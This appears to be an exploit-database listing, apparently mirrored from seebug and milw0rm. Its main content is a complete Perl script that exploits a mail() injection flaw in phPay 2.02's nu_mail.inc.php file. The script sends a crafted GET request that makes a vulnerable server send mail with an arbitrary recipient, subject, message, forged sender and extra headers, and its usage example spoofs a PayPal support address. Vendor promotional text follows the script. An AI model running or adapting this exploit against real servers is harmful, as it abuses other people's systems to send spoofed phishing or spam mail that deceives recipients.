Lucene search
K

phPay <= 2.02 (nu_mail.inc.php) Remote mail() Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

phPay v2.02 nu_mail.inc.php mail() Injection Exploi

Code

                                                #!/usr/bin/perl
#####################
# Script: phPay v2.02 http://phpay.de/
# Vuln File: nu_mail.inc.php
# Exploit & Advisory: beford &#60;xbefordx gmail com&#62;
# Vulnerability: mail() Injection
# Vuln Code:
# &#60;?php
# if (ereg(&#34;nu_mail.inc.php&#34;, $SCRIPT_NAME)) header(&#34;Location:./index.html&#34;);
# elseif (ereg(&#34;nu_mail.inc.php&#34;, $_SERVER[&#39;SCRIPT_NAME&#39;])) header(&#34;Location:./index.html&#34;);
# $mail_text=&#34;$mail_2a\n\n&#34;;
# ...
# That *should* prevent direct access to the vulnerable file, but they didnt die()/exit()&#39;ed
# so, pwnt. You need register globals enabled to be able of exploiting this issue.
#
#####################
use LWP::UserAgent;
use URI::URL; 
print &#34;\n[*] phPay v2.02 nu_mail.inc.php mail() Injection\n[*] exploit&advisory: beford &#60;xbefordx gmail com&#62;\n&#34;;
if (scalar(@ARGV)&#60;6) {
	print &#34;\tUsage:\t./own.pl &#60;host&#62; &#60;path&#62; &#60;email-to&#62; &#60;email-subject&#62; &#60;email-message&#62; &#60;email-from&#62; [headers]\n&#34;;
	print &#34;\t&#60;host&#62; : orly\n&#34;;
	print &#34;\t&#60;path&#62; : folder where phpay is installed /phpay/ /phpayv2.02/ ..\n&#34;;
	print &#34;\t&#60;email-to&#62; &#60;email-subject&#62; &#60;email-message&#62; &#60;email-from&#62; : duh\n&#34;;
	print &#34;\t[headers] : optional extra headers for mail \&#34;%0AContent-type: text/html%0A%0A\&#34;\n\n&#34;;
	print &#34;\t./own.pl http://www.vuln.es /phpayv2.02/ x\@mail.co h4x \&#34;hack\&#34; support\@paypal.com \n\n&#34;;
	exit;
}
$host = shift @ARGV;
$path = shift @ARGV;
$to = shift @ARGV;
$subject = shift @ARGV;
$message = shift @ARGV;
$from = shift @ARGV;
$headers = shift @ARGV;
my $url = URI::URL-&#62;new($full);
$full = $url-&#62;as_string;
$full =  &#34;${host}${path}nu_mail.inc.php?mail_text2=${message}&user_row[]=&user_row[5]=${to}&nu_mail_1=${subject}&shop_mail=${from}${headers}&#34;;
print &#34;[*] exploiting $host\n&#34;;
$ua = LWP::UserAgent-&#62;new;
$req = HTTP::Request-&#62;new(&#39;GET&#39;,&#34;$full&#34;);
$res = $ua-&#62;request($req);
print &#34;\t[*] mail sent\n&#34; if $res-&#62;is_success;

# milw0rm.com [2006-08-14]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation